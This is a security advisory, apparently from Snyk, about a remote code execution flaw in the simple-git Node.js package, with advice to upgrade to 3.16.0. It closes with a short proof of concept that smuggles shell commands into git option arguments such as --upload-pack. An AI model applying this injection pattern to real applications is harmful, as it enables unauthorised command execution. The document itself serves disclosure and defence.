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- Snyk ID SNYK-JS-SIMPLEGIT-3177391
- published 23 Jan 2023
- disclosed 20 Dec 2022
- credit Santos Gallegos
How to fix?
simple-git to version 3.16.0 or higher.
simple-git is a light weight interface for running git commands in any node.js application.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) via the
listRemote() methods, due to improper input sanitization.
This vulnerability exists due to an incomplete fix of CVE-2022-25912.
const simpleGit = require('simple-git'); let git = simpleGit(); git.clone('-u touch /tmp/pwn', 'file:///tmp/zero12'); git.pull('--upload-pack=touch /tmp/pwn0', 'master'); git.push('--receive-pack=touch /tmp/pwn1', 'master'); git.listRemote(['--upload-pack=touch /tmp/pwn2', 'main']);